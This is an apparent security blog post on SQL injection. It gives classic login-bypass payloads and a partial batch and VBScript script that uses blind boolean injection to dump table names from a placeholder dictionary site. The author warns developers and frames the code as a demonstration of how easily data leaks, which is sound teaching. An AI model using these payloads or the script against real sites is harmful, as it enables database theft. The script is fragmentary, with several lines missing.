But then, Iâm hacking your website because of a 15-year-old flaw.
Itâs been noted for some time that I love playing with XSS, simply because itâs so widespread, and because itâs an indication of the likely security stance of the rest of the website.
But if XSS is important because itâs widely spread, itâs got a relatively low impact.
Slightly less widely spread, but often the cause of far greater damage, is SQL injection.
Iâll talk some more later about how SQL injection happens, but for now a quick demonstration of the power of SQL injection.
Every demonstration of SQL injection Iâve ever seen includes this example:
sqlCommandString = "SELECT userid FROM users WHERE userid='" + inputID + "' AND password='" + inputPass + "'"
And of course, the trick here is to supply the user ID â
adminâ and the password â
' OR 1='1â.
Sure, IF you have that code in your app, that will let the user in as admin.
But then, IF you have that code in your app, you have many bigger problems than SQL injection â because your user database contains unprotected passwords, and a leak will automatically tell the world how poor your security is, and always has been.
More likely, if you have SQL injection in the logon code at all, is that you will have code like this:
sqlCommandString = "SELECT userid, password FROM users WHERE userid='" + inputID + "'"
âŠ execute sqlCommandString âŠ
âŠ extract salt âŠ
âŠ hash incoming password âŠ
âŠ compare salted hash of incoming password against stored password âŠ
Again, if you were to have designed poorly, you might allow for multiple user records to come back (suppose, say, you allow the user to reuse old passwords, or old hashing algorithms), and you accept the first account with the right password. In that case, yes, an attacker could hack the login page with a common password, and the user ID â
' OR userid LIKE '%â â but then the attacker would have to know the field was called userid, and theyâre only going to get the first account in your database that has that password.
Doubtless there are many login pages which are vulnerable to SQL injection attacks like this, but they are relatively uncommon where developers have some experience or skill.
Where do you use a SQL-like database?
Anywhere thereâs a table of data to be queried, whether itâs a dictionary of words, or a list of popular kitchen repair technicians, etc, etc.
Imagine Iâve got a dictionary searching page, weblexicon.example (that doesnât exist, nor does weblexicon.com). Its main page offers me a field to provide a word, for which I want to see the definition.
If I give it a real word, it tells me the definition(s).
If I give it a non-existent word, it apologises for being unable to help me.
Seems like a database search is used here. Letâs see if itâs exploitable, by asking for âexample’â â thatâs âexampleâ with an extra single quote at the end.
Thatâs pretty cool â we can tell now that the server is passing our information off to a MySQL server. Those things that look like double-quotes around the word âexampleâ are in fact two single-quotes. A bit confusing, but it helps to understand whatâs going on here.
So, letâs feed the web lexicon a value that might exploit it. Sadly, it doesnât accept multiple commands, and gives the âYou have an error in your SQL syntaxâ message when I try it.
Worse still, for some reason I canât use the âUNIONâ or âJOINâ operators to get more data than Iâm allowed. This seems to be relatively common when there are extra parentheses, or other things we havenât quite guessed about the command.
That means weâre stuck with Blind SQL injection. With a blind SQL injection, or Blind SQLi, you can generally see whether a value is true or false, by the response you get back. Remember our comparison of a word that does exist and a word that doesnât? Letâs try that in a query to look up a true / false value:
So now, we can ask true / false questions against the database.
Seems rather limiting.
Letâs say weâre looking to see if the MySQL server is running a particular vulnerable version â we could ask for âexample’ and @@version=’188.8.131.52â â a true response would give us the hint that we can exploit that vulnerability.
But the SQL language has so many other options. We can say âdoes your version number begin with a â4ââ
A bit more exciting, but still pedestrian.
What if I want to find out what the currently executing statement looks like? I could ask âis it an âaâ? a âbâ? a âcâ?â and so on, but that is too slow.
Instead, I could ask for each bit of the characters, and thatâs certainly a good strategy â but the one I chose is to simply do a binary search, which is computationally equivalent.
A fifteen-year-old vulnerability (SQL injection is older than that, but I couldnât do the maths) deserves the same age of language to write my attack in.
So I chose batch file and VBScript (OK, theyâre both older than 15). Batch files canât actually download a web page, so thatâs the part I wrote in VBScript.
And the fun thing to dump would be all of the table names. That way, we can see what we have to play with.
So here you go, a simple batch script to do Blind Boolean SQL injection to list all the tables in the system.
echo wscript.echo chr(wscript.arguments(0)) > charout.vbs
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+like+'%stem%%%')+and+1='1 >%out%
@findstr /c:"1. [n" %out%> nul || (
if "!last!" lss "!last2!" (
set /a lasti=!lasti!+1
@set /a mid = (%lower% + %higher%) / 2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+(ascii(substring((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+from+%nchars%+for+1))+between+%lower%+and+%mid%)+and+1='1 >%out%
@set /a nqueries=%nqueries%+1
@findstr /c:"1. [n" %out%> nul && (
set /a mid=%lower%-1
@set /a lower=%mid%+1
@if %lower% EQU 127 goto donecheck
@if %lower% NEQ %higher% goto check
@if %lower% EQU 32 @(set found= )
@for /f %%a in ('cscript charout.vbs //nologo %lower%') do @set found=%%a
@rem echo . | set /p foo=%found: =+%
@set /a nchars=%nchars%+1
@echo %lasti%: %stem%
@rem (%nqueries% queries)
@set /a lasti=!lasti!+1
And the output (demonstrating that there are still some concurrency issues to take care of):
Yes, thatâs all it takes.
If youâre a developer of a web app which uses a relational database back-end, take note â itâs exactly this easy to dump your database contents. A few changes to the batch file, and Iâm dumping column names and types, then individual items from tables.
And thatâs all assuming Iâm stuck with a blind SQL injection.
The weblexicon site lists table contents as its definitions, so in theory I should be able to use a UNION or a JOIN to add data from other tables into the definitions it displays. Itâs made easier by the fact that I can also access the command Iâm injecting into, by virtue of MySQL including that in a process table.
Note that if Iâm attacking a different site with a different injection point, I need to make two changes to my batch script, and Iâm away. Granted, this isnât exactly sqlmap.py, but then again, sqlmap.py doesnât always find or exploit all the vulns that you have available.
The takeaways today:
The code in this article is for demonstration purposes â Iâm not going to explain how it works, although it is very simple. The only point of including it is to show that a small amount of code can be the cause of a huge extraction of your siteâs data, but can be prevented by a small change.
Donât use this code to do bad things. Donât use other code to do bad things. Bad people are doing bad things with code like this (and better) already. Do good things with this code, and keep those bad people out.